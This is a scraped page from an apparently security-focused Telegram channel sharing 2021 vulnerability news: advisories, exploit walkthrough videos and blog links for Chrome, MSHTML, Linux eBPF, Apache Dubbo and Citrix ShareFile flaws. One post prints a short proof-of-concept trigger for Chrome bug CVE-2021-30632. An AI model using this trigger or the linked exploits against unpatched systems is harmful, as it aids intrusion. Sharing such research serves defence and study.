NEW BOT Телеграм, страница

2.22K viewsAdel, 15:26

https://cert-portal.siemens.com/productcert/pdf/ssa-535380.pdf

2.12K viewsAdel, 19:45

CVE-2021-30632 #Chrome #0day #PoC 

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

2.27K viewsAdel, 19:35

HackerOne

https://youtu.be/pbRk8sCvcsg

YouTube

Analyze, Reverse and Exploit CVE-2021-40444

In this video, we dive into Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444).
[English subnoscripts added]
#cve202140444 #debugging #reversing #exploit #analyze #0day #CVE 202140444
Related Links:
https://github.com/aydianosec/CVE2021-40444…

2.19K viewsAmir Kiani, 16:52

HackerOne

https://www.offensive-ot.com/2021/09/16/aprendiendo-a-leer-y-escribir-pero-dispositivos-industriales-parte-1/

Ciberseguridad Industrial | Offensive OT -

Aprendiendo a Leer y Escribir pero… dispositivos industriales (Parte 1) - Ciberseguridad Industrial | Offensive OT

Aprendiendo a Leer y Escribir pero... dispositivos industriales (Parte 1). Utilizaremos el simulador ModBus que permitiría emular un laboratorio de pruebas...

2.22K viewsAdel, 13:06

HackerOne

https://securitylab.github.com/advisories/GHSL-2021-097-apache-dubbo

GitHub Security Lab

GHSL-2021-097: Pre-Auth Unsafe Java Deserialization in Apace Dubbo - CVE-2021-37579

Apache Dubbo is vulnerable to pre-Auth Unsafe Java Deserialization

2.23K viewsAdel, 10:25

HackerOne

https://youtu.be/N8-N-gERO9w

YouTube

ebpf linux kernel exploit | cve-2021-3490 poc

what is ebpf linux kernel?
It is a kernel technology (starting in Linux 4.x) that allows programs to run without having to change the kernel source code or adding additional modules. It is a sort of lightweight, sandbox virtual machine (VM) inside the Linux…

2.25K viewsAdel, 07:22

HackerOne

2.23K viewsAmir Kiani, 16:51

HackerOne

2.24K viewsAmir Kiani, 19:05

HackerOne

5 RCEs in npm for $15,000
robertchen.cc/blog

2.2K viewsAmir Kiani, 20:42

HackerOne

NIST’s National Cybersecurity Center of Excellence (NCCoE) has released a draft of NIST Special Publication (SP) 1800-32, Securing the Industrial Internet of Things: Cybersecurity for Distributed Energy Resources - https://csrc.nist.gov/publications/detail/sp/1800-32/draft

CSRC | NIST

NIST Special Publication (SP) 1800-32 (Withdrawn), Securing the Industrial Internet of Things: Cybersecurity for Distributed Energy…

The Industrial Internet of Things, or IIoT, refers to the application of instrumentation and connected sensors and other devices to machinery and vehicles in the transport, energy, and other critical infrastructure sectors. In the energy sector, distributed…

2.16K viewsAdel, 20:41

HackerOne

RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941) – A Walk-Through

https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html

Blogspot

CODE WHITE | Blog: RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941) – A Walk-Through

Citrix ShareFile Storage Zones Controller uses a fork of the third party library NeatUpload. Versions before 5.11.20 are affected by a rela...

2.4K viewsAdel, 06:23

HackerOne

https://youtu.be/jimGQpftYWs